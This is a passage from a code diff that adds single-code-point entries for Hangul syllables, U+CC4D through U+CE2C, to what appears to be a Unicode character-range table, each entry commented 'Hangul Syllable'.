+ ["\uCC4D", "\uCC4D"], /* Hangul Syllable */
+ ["\uCC4E", "\uCC4E"], /* Hangul Syllable */
+ ["\uCC4F", "\uCC4F"], /* Hangul Syllable */
+ ["\uCC50", "\uCC50"], /* Hangul Syllable */
+ ["\uCC51", "\uCC51"], /* Hangul Syllable */
+ ["\uCC52", "\uCC52"], /* Hangul Syllable */
+ ["\uCC53", "\uCC53"], /* Hangul Syllable */
+ ["\uCC54", "\uCC54"], /* Hangul Syllable */
+ ["\uCC55", "\uCC55"], /* Hangul Syllable */
+ ["\uCC56", "\uCC56"], /* Hangul Syllable */
+ ["\uCC57", "\uCC57"], /* Hangul Syllable */
+ ["\uCC58", "\uCC58"], /* Hangul Syllable */
+ ["\uCC59", "\uCC59"], /* Hangul Syllable */
+ ["\uCC5A", "\uCC5A"], /* Hangul Syllable */
+ ["\uCC5B", "\uCC5B"], /* Hangul Syllable */
+ ["\uCC5C", "\uCC5C"], /* Hangul Syllable */
+ ["\uCC5D", "\uCC5D"], /* Hangul Syllable */
+ ["\uCC5E", "\uCC5E"], /* Hangul Syllable */
+ ["\uCC5F", "\uCC5F"], /* Hangul Syllable */
+ ["\uCC60", "\uCC60"], /* Hangul Syllable */
+ ["\uCC61", "\uCC61"], /* Hangul Syllable */
+ ["\uCC62", "\uCC62"], /* Hangul Syllable */
+ ["\uCC63", "\uCC63"], /* Hangul Syllable */
+ ["\uCC64", "\uCC64"], /* Hangul Syllable */
+ ["\uCC65", "\uCC65"], /* Hangul Syllable */
+ ["\uCC66", "\uCC66"], /* Hangul Syllable */
+ ["\uCC67", "\uCC67"], /* Hangul Syllable */
+ ["\uCC68", "\uCC68"], /* Hangul Syllable */
+ ["\uCC69", "\uCC69"], /* Hangul Syllable */
+ ["\uCC6A", "\uCC6A"], /* Hangul Syllable */
+ ["\uCC6B", "\uCC6B"], /* Hangul Syllable */
+ ["\uCC6C", "\uCC6C"], /* Hangul Syllable */
+ ["\uCC6D", "\uCC6D"], /* Hangul Syllable */
+ ["\uCC6E", "\uCC6E"], /* Hangul Syllable */
+ ["\uCC6F", "\uCC6F"], /* Hangul Syllable */
+ ["\uCC70", "\uCC70"], /* Hangul Syllable */
+ ["\uCC71", "\uCC71"], /* Hangul Syllable */
+ ["\uCC72", "\uCC72"], /* Hangul Syllable */
+ ["\uCC73", "\uCC73"], /* Hangul Syllable */
+ ["\uCC74", "\uCC74"], /* Hangul Syllable */
+ ["\uCC75", "\uCC75"], /* Hangul Syllable */
+ ["\uCC76", "\uCC76"], /* Hangul Syllable */
+ ["\uCC77", "\uCC77"], /* Hangul Syllable */
+ ["\uCC78", "\uCC78"], /* Hangul Syllable */
+ ["\uCC79", "\uCC79"], /* Hangul Syllable */
+ ["\uCC7A", "\uCC7A"], /* Hangul Syllable */
+ ["\uCC7B", "\uCC7B"], /* Hangul Syllable */
+ ["\uCC7C", "\uCC7C"], /* Hangul Syllable */
+ ["\uCC7D", "\uCC7D"], /* Hangul Syllable */
+ ["\uCC7E", "\uCC7E"], /* Hangul Syllable */
+ ["\uCC7F", "\uCC7F"], /* Hangul Syllable */
+ ["\uCC80", "\uCC80"], /* Hangul Syllable */
+ ["\uCC81", "\uCC81"], /* Hangul Syllable */
+ ["\uCC82", "\uCC82"], /* Hangul Syllable */
+ ["\uCC83", "\uCC83"], /* Hangul Syllable */
+ ["\uCC84", "\uCC84"], /* Hangul Syllable */
+ ["\uCC85", "\uCC85"], /* Hangul Syllable */
+ ["\uCC86", "\uCC86"], /* Hangul Syllable */
+ ["\uCC87", "\uCC87"], /* Hangul Syllable */
+ ["\uCC88", "\uCC88"], /* Hangul Syllable */
+ ["\uCC89", "\uCC89"], /* Hangul Syllable */
+ ["\uCC8A", "\uCC8A"], /* Hangul Syllable */
+ ["\uCC8B", "\uCC8B"], /* Hangul Syllable */
+ ["\uCC8C", "\uCC8C"], /* Hangul Syllable */
+ ["\uCC8D", "\uCC8D"], /* Hangul Syllable */
+ ["\uCC8E", "\uCC8E"], /* Hangul Syllable */
+ ["\uCC8F", "\uCC8F"], /* Hangul Syllable */
+ ["\uCC90", "\uCC90"], /* Hangul Syllable */
+ ["\uCC91", "\uCC91"], /* Hangul Syllable */
+ ["\uCC92", "\uCC92"], /* Hangul Syllable */
+ ["\uCC93", "\uCC93"], /* Hangul Syllable */
+ ["\uCC94", "\uCC94"], /* Hangul Syllable */
+ ["\uCC95", "\uCC95"], /* Hangul Syllable */
+ ["\uCC96", "\uCC96"], /* Hangul Syllable */
+ ["\uCC97", "\uCC97"], /* Hangul Syllable */
+ ["\uCC98", "\uCC98"], /* Hangul Syllable */
+ ["\uCC99", "\uCC99"], /* Hangul Syllable */
+ ["\uCC9A", "\uCC9A"], /* Hangul Syllable */
+ ["\uCC9B", "\uCC9B"], /* Hangul Syllable */
+ ["\uCC9C", "\uCC9C"], /* Hangul Syllable */
+ ["\uCC9D", "\uCC9D"], /* Hangul Syllable */
+ ["\uCC9E", "\uCC9E"], /* Hangul Syllable */
+ ["\uCC9F", "\uCC9F"], /* Hangul Syllable */
+ ["\uCCA0", "\uCCA0"], /* Hangul Syllable */
+ ["\uCCA1", "\uCCA1"], /* Hangul Syllable */
+ ["\uCCA2", "\uCCA2"], /* Hangul Syllable */
+ ["\uCCA3", "\uCCA3"], /* Hangul Syllable */
+ ["\uCCA4", "\uCCA4"], /* Hangul Syllable */
+ ["\uCCA5", "\uCCA5"], /* Hangul Syllable */
+ ["\uCCA6", "\uCCA6"], /* Hangul Syllable */
+ ["\uCCA7", "\uCCA7"], /* Hangul Syllable */
+ ["\uCCA8", "\uCCA8"], /* Hangul Syllable */
+ ["\uCCA9", "\uCCA9"], /* Hangul Syllable */
+ ["\uCCAA", "\uCCAA"], /* Hangul Syllable */
+ ["\uCCAB", "\uCCAB"], /* Hangul Syllable */
+ ["\uCCAC", "\uCCAC"], /* Hangul Syllable */
+ ["\uCCAD", "\uCCAD"], /* Hangul Syllable */
+ ["\uCCAE", "\uCCAE"], /* Hangul Syllable */
+ ["\uCCAF", "\uCCAF"], /* Hangul Syllable */
+ ["\uCCB0", "\uCCB0"], /* Hangul Syllable */
+ ["\uCCB1", "\uCCB1"], /* Hangul Syllable */
+ ["\uCCB2", "\uCCB2"], /* Hangul Syllable */
+ ["\uCCB3", "\uCCB3"], /* Hangul Syllable */
+ ["\uCCB4", "\uCCB4"], /* Hangul Syllable */
+ ["\uCCB5", "\uCCB5"], /* Hangul Syllable */
+ ["\uCCB6", "\uCCB6"], /* Hangul Syllable */
+ ["\uCCB7", "\uCCB7"], /* Hangul Syllable */
+ ["\uCCB8", "\uCCB8"], /* Hangul Syllable */
+ ["\uCCB9", "\uCCB9"], /* Hangul Syllable */
+ ["\uCCBA", "\uCCBA"], /* Hangul Syllable */
+ ["\uCCBB", "\uCCBB"], /* Hangul Syllable */
+ ["\uCCBC", "\uCCBC"], /* Hangul Syllable */
+ ["\uCCBD", "\uCCBD"], /* Hangul Syllable */
+ ["\uCCBE", "\uCCBE"], /* Hangul Syllable */
+ ["\uCCBF", "\uCCBF"], /* Hangul Syllable */
+ ["\uCCC0", "\uCCC0"], /* Hangul Syllable */
+ ["\uCCC1", "\uCCC1"], /* Hangul Syllable */
+ ["\uCCC2", "\uCCC2"], /* Hangul Syllable */
+ ["\uCCC3", "\uCCC3"], /* Hangul Syllable */
+ ["\uCCC4", "\uCCC4"], /* Hangul Syllable */
+ ["\uCCC5", "\uCCC5"], /* Hangul Syllable */
+ ["\uCCC6", "\uCCC6"], /* Hangul Syllable */
+ ["\uCCC7", "\uCCC7"], /* Hangul Syllable */
+ ["\uCCC8", "\uCCC8"], /* Hangul Syllable */
+ ["\uCCC9", "\uCCC9"], /* Hangul Syllable */
+ ["\uCCCA", "\uCCCA"], /* Hangul Syllable */
+ ["\uCCCB", "\uCCCB"], /* Hangul Syllable */
+ ["\uCCCC", "\uCCCC"], /* Hangul Syllable */
+ ["\uCCCD", "\uCCCD"], /* Hangul Syllable */
+ ["\uCCCE", "\uCCCE"], /* Hangul Syllable */
+ ["\uCCCF", "\uCCCF"], /* Hangul Syllable */
+ ["\uCCD0", "\uCCD0"], /* Hangul Syllable */
+ ["\uCCD1", "\uCCD1"], /* Hangul Syllable */
+ ["\uCCD2", "\uCCD2"], /* Hangul Syllable */
+ ["\uCCD3", "\uCCD3"], /* Hangul Syllable */
+ ["\uCCD4", "\uCCD4"], /* Hangul Syllable */
+ ["\uCCD5", "\uCCD5"], /* Hangul Syllable */
+ ["\uCCD6", "\uCCD6"], /* Hangul Syllable */
+ ["\uCCD7", "\uCCD7"], /* Hangul Syllable */
+ ["\uCCD8", "\uCCD8"], /* Hangul Syllable */
+ ["\uCCD9", "\uCCD9"], /* Hangul Syllable */
+ ["\uCCDA", "\uCCDA"], /* Hangul Syllable */
+ ["\uCCDB", "\uCCDB"], /* Hangul Syllable */
+ ["\uCCDC", "\uCCDC"], /* Hangul Syllable */
+ ["\uCCDD", "\uCCDD"], /* Hangul Syllable */
+ ["\uCCDE", "\uCCDE"], /* Hangul Syllable */
+ ["\uCCDF", "\uCCDF"], /* Hangul Syllable */
+ ["\uCCE0", "\uCCE0"], /* Hangul Syllable */
+ ["\uCCE1", "\uCCE1"], /* Hangul Syllable */
+ ["\uCCE2", "\uCCE2"], /* Hangul Syllable */
+ ["\uCCE3", "\uCCE3"], /* Hangul Syllable */
+ ["\uCCE4", "\uCCE4"], /* Hangul Syllable */
+ ["\uCCE5", "\uCCE5"], /* Hangul Syllable */
+ ["\uCCE6", "\uCCE6"], /* Hangul Syllable */
+ ["\uCCE7", "\uCCE7"], /* Hangul Syllable */
+ ["\uCCE8", "\uCCE8"], /* Hangul Syllable */
+ ["\uCCE9", "\uCCE9"], /* Hangul Syllable */
+ ["\uCCEA", "\uCCEA"], /* Hangul Syllable */
+ ["\uCCEB", "\uCCEB"], /* Hangul Syllable */
+ ["\uCCEC", "\uCCEC"], /* Hangul Syllable */
+ ["\uCCED", "\uCCED"], /* Hangul Syllable */
+ ["\uCCEE", "\uCCEE"], /* Hangul Syllable */
+ ["\uCCEF", "\uCCEF"], /* Hangul Syllable */
+ ["\uCCF0", "\uCCF0"], /* Hangul Syllable */
+ ["\uCCF1", "\uCCF1"], /* Hangul Syllable */
+ ["\uCCF2", "\uCCF2"], /* Hangul Syllable */
+ ["\uCCF3", "\uCCF3"], /* Hangul Syllable */
+ ["\uCCF4", "\uCCF4"], /* Hangul Syllable */
+ ["\uCCF5", "\uCCF5"], /* Hangul Syllable */
+ ["\uCCF6", "\uCCF6"], /* Hangul Syllable */
+ ["\uCCF7", "\uCCF7"], /* Hangul Syllable */
+ ["\uCCF8", "\uCCF8"], /* Hangul Syllable */
+ ["\uCCF9", "\uCCF9"], /* Hangul Syllable */
+ ["\uCCFA", "\uCCFA"], /* Hangul Syllable */
+ ["\uCCFB", "\uCCFB"], /* Hangul Syllable */
+ ["\uCCFC", "\uCCFC"], /* Hangul Syllable */
+ ["\uCCFD", "\uCCFD"], /* Hangul Syllable */
+ ["\uCCFE", "\uCCFE"], /* Hangul Syllable */
+ ["\uCCFF", "\uCCFF"], /* Hangul Syllable */
+ ["\uCD00", "\uCD00"], /* Hangul Syllable */
+ ["\uCD01", "\uCD01"], /* Hangul Syllable */
+ ["\uCD02", "\uCD02"], /* Hangul Syllable */
+ ["\uCD03", "\uCD03"], /* Hangul Syllable */
+ ["\uCD04", "\uCD04"], /* Hangul Syllable */
+ ["\uCD05", "\uCD05"], /* Hangul Syllable */
+ ["\uCD06", "\uCD06"], /* Hangul Syllable */
+ ["\uCD07", "\uCD07"], /* Hangul Syllable */
+ ["\uCD08", "\uCD08"], /* Hangul Syllable */
+ ["\uCD09", "\uCD09"], /* Hangul Syllable */
+ ["\uCD0A", "\uCD0A"], /* Hangul Syllable */
+ ["\uCD0B", "\uCD0B"], /* Hangul Syllable */
+ ["\uCD0C", "\uCD0C"], /* Hangul Syllable */
+ ["\uCD0D", "\uCD0D"], /* Hangul Syllable */
+ ["\uCD0E", "\uCD0E"], /* Hangul Syllable */
+ ["\uCD0F", "\uCD0F"], /* Hangul Syllable */
+ ["\uCD10", "\uCD10"], /* Hangul Syllable */
+ ["\uCD11", "\uCD11"], /* Hangul Syllable */
+ ["\uCD12", "\uCD12"], /* Hangul Syllable */
+ ["\uCD13", "\uCD13"], /* Hangul Syllable */
+ ["\uCD14", "\uCD14"], /* Hangul Syllable */
+ ["\uCD15", "\uCD15"], /* Hangul Syllable */
+ ["\uCD16", "\uCD16"], /* Hangul Syllable */
+ ["\uCD17", "\uCD17"], /* Hangul Syllable */
+ ["\uCD18", "\uCD18"], /* Hangul Syllable */
+ ["\uCD19", "\uCD19"], /* Hangul Syllable */
+ ["\uCD1A", "\uCD1A"], /* Hangul Syllable */
+ ["\uCD1B", "\uCD1B"], /* Hangul Syllable */
+ ["\uCD1C", "\uCD1C"], /* Hangul Syllable */
+ ["\uCD1D", "\uCD1D"], /* Hangul Syllable */
+ ["\uCD1E", "\uCD1E"], /* Hangul Syllable */
+ ["\uCD1F", "\uCD1F"], /* Hangul Syllable */
+ ["\uCD20", "\uCD20"], /* Hangul Syllable */
+ ["\uCD21", "\uCD21"], /* Hangul Syllable */
+ ["\uCD22", "\uCD22"], /* Hangul Syllable */
+ ["\uCD23", "\uCD23"], /* Hangul Syllable */
+ ["\uCD24", "\uCD24"], /* Hangul Syllable */
+ ["\uCD25", "\uCD25"], /* Hangul Syllable */
+ ["\uCD26", "\uCD26"], /* Hangul Syllable */
+ ["\uCD27", "\uCD27"], /* Hangul Syllable */
+ ["\uCD28", "\uCD28"], /* Hangul Syllable */
+ ["\uCD29", "\uCD29"], /* Hangul Syllable */
+ ["\uCD2A", "\uCD2A"], /* Hangul Syllable */
+ ["\uCD2B", "\uCD2B"], /* Hangul Syllable */
+ ["\uCD2C", "\uCD2C"], /* Hangul Syllable */
+ ["\uCD2D", "\uCD2D"], /* Hangul Syllable */
+ ["\uCD2E", "\uCD2E"], /* Hangul Syllable */
+ ["\uCD2F", "\uCD2F"], /* Hangul Syllable */
+ ["\uCD30", "\uCD30"], /* Hangul Syllable */
+ ["\uCD31", "\uCD31"], /* Hangul Syllable */
+ ["\uCD32", "\uCD32"], /* Hangul Syllable */
+ ["\uCD33", "\uCD33"], /* Hangul Syllable */
+ ["\uCD34", "\uCD34"], /* Hangul Syllable */
+ ["\uCD35", "\uCD35"], /* Hangul Syllable */
+ ["\uCD36", "\uCD36"], /* Hangul Syllable */
+ ["\uCD37", "\uCD37"], /* Hangul Syllable */
+ ["\uCD38", "\uCD38"], /* Hangul Syllable */
+ ["\uCD39", "\uCD39"], /* Hangul Syllable */
+ ["\uCD3A", "\uCD3A"], /* Hangul Syllable */
+ ["\uCD3B", "\uCD3B"], /* Hangul Syllable */
+ ["\uCD3C", "\uCD3C"], /* Hangul Syllable */
+ ["\uCD3D", "\uCD3D"], /* Hangul Syllable */
+ ["\uCD3E", "\uCD3E"], /* Hangul Syllable */
+ ["\uCD3F", "\uCD3F"], /* Hangul Syllable */
+ ["\uCD40", "\uCD40"], /* Hangul Syllable */
+ ["\uCD41", "\uCD41"], /* Hangul Syllable */
+ ["\uCD42", "\uCD42"], /* Hangul Syllable */
+ ["\uCD43", "\uCD43"], /* Hangul Syllable */
+ ["\uCD44", "\uCD44"], /* Hangul Syllable */
+ ["\uCD45", "\uCD45"], /* Hangul Syllable */
+ ["\uCD46", "\uCD46"], /* Hangul Syllable */
+ ["\uCD47", "\uCD47"], /* Hangul Syllable */
+ ["\uCD48", "\uCD48"], /* Hangul Syllable */
+ ["\uCD49", "\uCD49"], /* Hangul Syllable */
+ ["\uCD4A", "\uCD4A"], /* Hangul Syllable */
+ ["\uCD4B", "\uCD4B"], /* Hangul Syllable */
+ ["\uCD4C", "\uCD4C"], /* Hangul Syllable */
+ ["\uCD4D", "\uCD4D"], /* Hangul Syllable */
+ ["\uCD4E", "\uCD4E"], /* Hangul Syllable */
+ ["\uCD4F", "\uCD4F"], /* Hangul Syllable */
+ ["\uCD50", "\uCD50"], /* Hangul Syllable */
+ ["\uCD51", "\uCD51"], /* Hangul Syllable */
+ ["\uCD52", "\uCD52"], /* Hangul Syllable */
+ ["\uCD53", "\uCD53"], /* Hangul Syllable */
+ ["\uCD54", "\uCD54"], /* Hangul Syllable */
+ ["\uCD55", "\uCD55"], /* Hangul Syllable */
+ ["\uCD56", "\uCD56"], /* Hangul Syllable */
+ ["\uCD57", "\uCD57"], /* Hangul Syllable */
+ ["\uCD58", "\uCD58"], /* Hangul Syllable */
+ ["\uCD59", "\uCD59"], /* Hangul Syllable */
+ ["\uCD5A", "\uCD5A"], /* Hangul Syllable */
+ ["\uCD5B", "\uCD5B"], /* Hangul Syllable */
+ ["\uCD5C", "\uCD5C"], /* Hangul Syllable */
+ ["\uCD5D", "\uCD5D"], /* Hangul Syllable */
+ ["\uCD5E", "\uCD5E"], /* Hangul Syllable */
+ ["\uCD5F", "\uCD5F"], /* Hangul Syllable */
+ ["\uCD60", "\uCD60"], /* Hangul Syllable */
+ ["\uCD61", "\uCD61"], /* Hangul Syllable */
+ ["\uCD62", "\uCD62"], /* Hangul Syllable */
+ ["\uCD63", "\uCD63"], /* Hangul Syllable */
+ ["\uCD64", "\uCD64"], /* Hangul Syllable */
+ ["\uCD65", "\uCD65"], /* Hangul Syllable */
+ ["\uCD66", "\uCD66"], /* Hangul Syllable */
+ ["\uCD67", "\uCD67"], /* Hangul Syllable */
+ ["\uCD68", "\uCD68"], /* Hangul Syllable */
+ ["\uCD69", "\uCD69"], /* Hangul Syllable */
+ ["\uCD6A", "\uCD6A"], /* Hangul Syllable */
+ ["\uCD6B", "\uCD6B"], /* Hangul Syllable */
+ ["\uCD6C", "\uCD6C"], /* Hangul Syllable */
+ ["\uCD6D", "\uCD6D"], /* Hangul Syllable */
+ ["\uCD6E", "\uCD6E"], /* Hangul Syllable */
+ ["\uCD6F", "\uCD6F"], /* Hangul Syllable */
+ ["\uCD70", "\uCD70"], /* Hangul Syllable */
+ ["\uCD71", "\uCD71"], /* Hangul Syllable */
+ ["\uCD72", "\uCD72"], /* Hangul Syllable */
+ ["\uCD73", "\uCD73"], /* Hangul Syllable */
+ ["\uCD74", "\uCD74"], /* Hangul Syllable */
+ ["\uCD75", "\uCD75"], /* Hangul Syllable */
+ ["\uCD76", "\uCD76"], /* Hangul Syllable */
+ ["\uCD77", "\uCD77"], /* Hangul Syllable */
+ ["\uCD78", "\uCD78"], /* Hangul Syllable */
+ ["\uCD79", "\uCD79"], /* Hangul Syllable */
+ ["\uCD7A", "\uCD7A"], /* Hangul Syllable */
+ ["\uCD7B", "\uCD7B"], /* Hangul Syllable */
+ ["\uCD7C", "\uCD7C"], /* Hangul Syllable */
+ ["\uCD7D", "\uCD7D"], /* Hangul Syllable */
+ ["\uCD7E", "\uCD7E"], /* Hangul Syllable */
+ ["\uCD7F", "\uCD7F"], /* Hangul Syllable */
+ ["\uCD80", "\uCD80"], /* Hangul Syllable */
+ ["\uCD81", "\uCD81"], /* Hangul Syllable */
+ ["\uCD82", "\uCD82"], /* Hangul Syllable */
+ ["\uCD83", "\uCD83"], /* Hangul Syllable */
+ ["\uCD84", "\uCD84"], /* Hangul Syllable */
+ ["\uCD85", "\uCD85"], /* Hangul Syllable */
+ ["\uCD86", "\uCD86"], /* Hangul Syllable */
+ ["\uCD87", "\uCD87"], /* Hangul Syllable */
+ ["\uCD88", "\uCD88"], /* Hangul Syllable */
+ ["\uCD89", "\uCD89"], /* Hangul Syllable */
+ ["\uCD8A", "\uCD8A"], /* Hangul Syllable */
+ ["\uCD8B", "\uCD8B"], /* Hangul Syllable */
+ ["\uCD8C", "\uCD8C"], /* Hangul Syllable */
+ ["\uCD8D", "\uCD8D"], /* Hangul Syllable */
+ ["\uCD8E", "\uCD8E"], /* Hangul Syllable */
+ ["\uCD8F", "\uCD8F"], /* Hangul Syllable */
+ ["\uCD90", "\uCD90"], /* Hangul Syllable */
+ ["\uCD91", "\uCD91"], /* Hangul Syllable */
+ ["\uCD92", "\uCD92"], /* Hangul Syllable */
+ ["\uCD93", "\uCD93"], /* Hangul Syllable */
+ ["\uCD94", "\uCD94"], /* Hangul Syllable */
+ ["\uCD95", "\uCD95"], /* Hangul Syllable */
+ ["\uCD96", "\uCD96"], /* Hangul Syllable */
+ ["\uCD97", "\uCD97"], /* Hangul Syllable */
+ ["\uCD98", "\uCD98"], /* Hangul Syllable */
+ ["\uCD99", "\uCD99"], /* Hangul Syllable */
+ ["\uCD9A", "\uCD9A"], /* Hangul Syllable */
+ ["\uCD9B", "\uCD9B"], /* Hangul Syllable */
+ ["\uCD9C", "\uCD9C"], /* Hangul Syllable */
+ ["\uCD9D", "\uCD9D"], /* Hangul Syllable */
+ ["\uCD9E", "\uCD9E"], /* Hangul Syllable */
+ ["\uCD9F", "\uCD9F"], /* Hangul Syllable */
+ ["\uCDA0", "\uCDA0"], /* Hangul Syllable */
+ ["\uCDA1", "\uCDA1"], /* Hangul Syllable */
+ ["\uCDA2", "\uCDA2"], /* Hangul Syllable */
+ ["\uCDA3", "\uCDA3"], /* Hangul Syllable */
+ ["\uCDA4", "\uCDA4"], /* Hangul Syllable */
+ ["\uCDA5", "\uCDA5"], /* Hangul Syllable */
+ ["\uCDA6", "\uCDA6"], /* Hangul Syllable */
+ ["\uCDA7", "\uCDA7"], /* Hangul Syllable */
+ ["\uCDA8", "\uCDA8"], /* Hangul Syllable */
+ ["\uCDA9", "\uCDA9"], /* Hangul Syllable */
+ ["\uCDAA", "\uCDAA"], /* Hangul Syllable */
+ ["\uCDAB", "\uCDAB"], /* Hangul Syllable */
+ ["\uCDAC", "\uCDAC"], /* Hangul Syllable */
+ ["\uCDAD", "\uCDAD"], /* Hangul Syllable */
+ ["\uCDAE", "\uCDAE"], /* Hangul Syllable */
+ ["\uCDAF", "\uCDAF"], /* Hangul Syllable */
+ ["\uCDB0", "\uCDB0"], /* Hangul Syllable */
+ ["\uCDB1", "\uCDB1"], /* Hangul Syllable */
+ ["\uCDB2", "\uCDB2"], /* Hangul Syllable */
+ ["\uCDB3", "\uCDB3"], /* Hangul Syllable */
+ ["\uCDB4", "\uCDB4"], /* Hangul Syllable */
+ ["\uCDB5", "\uCDB5"], /* Hangul Syllable */
+ ["\uCDB6", "\uCDB6"], /* Hangul Syllable */
+ ["\uCDB7", "\uCDB7"], /* Hangul Syllable */
+ ["\uCDB8", "\uCDB8"], /* Hangul Syllable */
+ ["\uCDB9", "\uCDB9"], /* Hangul Syllable */
+ ["\uCDBA", "\uCDBA"], /* Hangul Syllable */
+ ["\uCDBB", "\uCDBB"], /* Hangul Syllable */
+ ["\uCDBC", "\uCDBC"], /* Hangul Syllable */
+ ["\uCDBD", "\uCDBD"], /* Hangul Syllable */
+ ["\uCDBE", "\uCDBE"], /* Hangul Syllable */
+ ["\uCDBF", "\uCDBF"], /* Hangul Syllable */
+ ["\uCDC0", "\uCDC0"], /* Hangul Syllable */
+ ["\uCDC1", "\uCDC1"], /* Hangul Syllable */
+ ["\uCDC2", "\uCDC2"], /* Hangul Syllable */
+ ["\uCDC3", "\uCDC3"], /* Hangul Syllable */
+ ["\uCDC4", "\uCDC4"], /* Hangul Syllable */
+ ["\uCDC5", "\uCDC5"], /* Hangul Syllable */
+ ["\uCDC6", "\uCDC6"], /* Hangul Syllable */
+ ["\uCDC7", "\uCDC7"], /* Hangul Syllable */
+ ["\uCDC8", "\uCDC8"], /* Hangul Syllable */
+ ["\uCDC9", "\uCDC9"], /* Hangul Syllable */
+ ["\uCDCA", "\uCDCA"], /* Hangul Syllable */
+ ["\uCDCB", "\uCDCB"], /* Hangul Syllable */
+ ["\uCDCC", "\uCDCC"], /* Hangul Syllable */
+ ["\uCDCD", "\uCDCD"], /* Hangul Syllable */
+ ["\uCDCE", "\uCDCE"], /* Hangul Syllable */
+ ["\uCDCF", "\uCDCF"], /* Hangul Syllable */
+ ["\uCDD0", "\uCDD0"], /* Hangul Syllable */
+ ["\uCDD1", "\uCDD1"], /* Hangul Syllable */
+ ["\uCDD2", "\uCDD2"], /* Hangul Syllable */
+ ["\uCDD3", "\uCDD3"], /* Hangul Syllable */
+ ["\uCDD4", "\uCDD4"], /* Hangul Syllable */
+ ["\uCDD5", "\uCDD5"], /* Hangul Syllable */
+ ["\uCDD6", "\uCDD6"], /* Hangul Syllable */
+ ["\uCDD7", "\uCDD7"], /* Hangul Syllable */
+ ["\uCDD8", "\uCDD8"], /* Hangul Syllable */
+ ["\uCDD9", "\uCDD9"], /* Hangul Syllable */
+ ["\uCDDA", "\uCDDA"], /* Hangul Syllable */
+ ["\uCDDB", "\uCDDB"], /* Hangul Syllable */
+ ["\uCDDC", "\uCDDC"], /* Hangul Syllable */
+ ["\uCDDD", "\uCDDD"], /* Hangul Syllable */
+ ["\uCDDE", "\uCDDE"], /* Hangul Syllable */
+ ["\uCDDF", "\uCDDF"], /* Hangul Syllable */
+ ["\uCDE0", "\uCDE0"], /* Hangul Syllable */
+ ["\uCDE1", "\uCDE1"], /* Hangul Syllable */
+ ["\uCDE2", "\uCDE2"], /* Hangul Syllable */
+ ["\uCDE3", "\uCDE3"], /* Hangul Syllable */
+ ["\uCDE4", "\uCDE4"], /* Hangul Syllable */
+ ["\uCDE5", "\uCDE5"], /* Hangul Syllable */
+ ["\uCDE6", "\uCDE6"], /* Hangul Syllable */
+ ["\uCDE7", "\uCDE7"], /* Hangul Syllable */
+ ["\uCDE8", "\uCDE8"], /* Hangul Syllable */
+ ["\uCDE9", "\uCDE9"], /* Hangul Syllable */
+ ["\uCDEA", "\uCDEA"], /* Hangul Syllable */
+ ["\uCDEB", "\uCDEB"], /* Hangul Syllable */
+ ["\uCDEC", "\uCDEC"], /* Hangul Syllable */
+ ["\uCDED", "\uCDED"], /* Hangul Syllable */
+ ["\uCDEE", "\uCDEE"], /* Hangul Syllable */
+ ["\uCDEF", "\uCDEF"], /* Hangul Syllable */
+ ["\uCDF0", "\uCDF0"], /* Hangul Syllable */
+ ["\uCDF1", "\uCDF1"], /* Hangul Syllable */
+ ["\uCDF2", "\uCDF2"], /* Hangul Syllable */
+ ["\uCDF3", "\uCDF3"], /* Hangul Syllable */
+ ["\uCDF4", "\uCDF4"], /* Hangul Syllable */
+ ["\uCDF5", "\uCDF5"], /* Hangul Syllable */
+ ["\uCDF6", "\uCDF6"], /* Hangul Syllable */
+ ["\uCDF7", "\uCDF7"], /* Hangul Syllable */
+ ["\uCDF8", "\uCDF8"], /* Hangul Syllable */
+ ["\uCDF9", "\uCDF9"], /* Hangul Syllable */
+ ["\uCDFA", "\uCDFA"], /* Hangul Syllable */
+ ["\uCDFB", "\uCDFB"], /* Hangul Syllable */
+ ["\uCDFC", "\uCDFC"], /* Hangul Syllable */
+ ["\uCDFD", "\uCDFD"], /* Hangul Syllable */
+ ["\uCDFE", "\uCDFE"], /* Hangul Syllable */
+ ["\uCDFF", "\uCDFF"], /* Hangul Syllable */
+ ["\uCE00", "\uCE00"], /* Hangul Syllable */
+ ["\uCE01", "\uCE01"], /* Hangul Syllable */
+ ["\uCE02", "\uCE02"], /* Hangul Syllable */
+ ["\uCE03", "\uCE03"], /* Hangul Syllable */
+ ["\uCE04", "\uCE04"], /* Hangul Syllable */
+ ["\uCE05", "\uCE05"], /* Hangul Syllable */
+ ["\uCE06", "\uCE06"], /* Hangul Syllable */
+ ["\uCE07", "\uCE07"], /* Hangul Syllable */
+ ["\uCE08", "\uCE08"], /* Hangul Syllable */
+ ["\uCE09", "\uCE09"], /* Hangul Syllable */
+ ["\uCE0A", "\uCE0A"], /* Hangul Syllable */
+ ["\uCE0B", "\uCE0B"], /* Hangul Syllable */
+ ["\uCE0C", "\uCE0C"], /* Hangul Syllable */
+ ["\uCE0D", "\uCE0D"], /* Hangul Syllable */
+ ["\uCE0E", "\uCE0E"], /* Hangul Syllable */
+ ["\uCE0F", "\uCE0F"], /* Hangul Syllable */
+ ["\uCE10", "\uCE10"], /* Hangul Syllable */
+ ["\uCE11", "\uCE11"], /* Hangul Syllable */
+ ["\uCE12", "\uCE12"], /* Hangul Syllable */
+ ["\uCE13", "\uCE13"], /* Hangul Syllable */
+ ["\uCE14", "\uCE14"], /* Hangul Syllable */
+ ["\uCE15", "\uCE15"], /* Hangul Syllable */
+ ["\uCE16", "\uCE16"], /* Hangul Syllable */
+ ["\uCE17", "\uCE17"], /* Hangul Syllable */
+ ["\uCE18", "\uCE18"], /* Hangul Syllable */
+ ["\uCE19", "\uCE19"], /* Hangul Syllable */
+ ["\uCE1A", "\uCE1A"], /* Hangul Syllable */
+ ["\uCE1B", "\uCE1B"], /* Hangul Syllable */
+ ["\uCE1C", "\uCE1C"], /* Hangul Syllable */
+ ["\uCE1D", "\uCE1D"], /* Hangul Syllable */
+ ["\uCE1E", "\uCE1E"], /* Hangul Syllable */
+ ["\uCE1F", "\uCE1F"], /* Hangul Syllable */
+ ["\uCE20", "\uCE20"], /* Hangul Syllable */
+ ["\uCE21", "\uCE21"], /* Hangul Syllable */
+ ["\uCE22", "\uCE22"], /* Hangul Syllable */
+ ["\uCE23", "\uCE23"], /* Hangul Syllable */
+ ["\uCE24", "\uCE24"], /* Hangul Syllable */
+ ["\uCE25", "\uCE25"], /* Hangul Syllable */
+ ["\uCE26", "\uCE26"], /* Hangul Syllable */
+ ["\uCE27", "\uCE27"], /* Hangul Syllable */
+ ["\uCE28", "\uCE28"], /* Hangul Syllable */
+ ["\uCE29", "\uCE29"], /* Hangul Syllable */
+ ["\uCE2A", "\uCE2A"], /* Hangul Syllable */
+ ["\uCE2B", "\uCE2B"], /* Hangul Syllable */
+ ["\uCE2C", "\uCE2C"], /* Hangul Syllable */
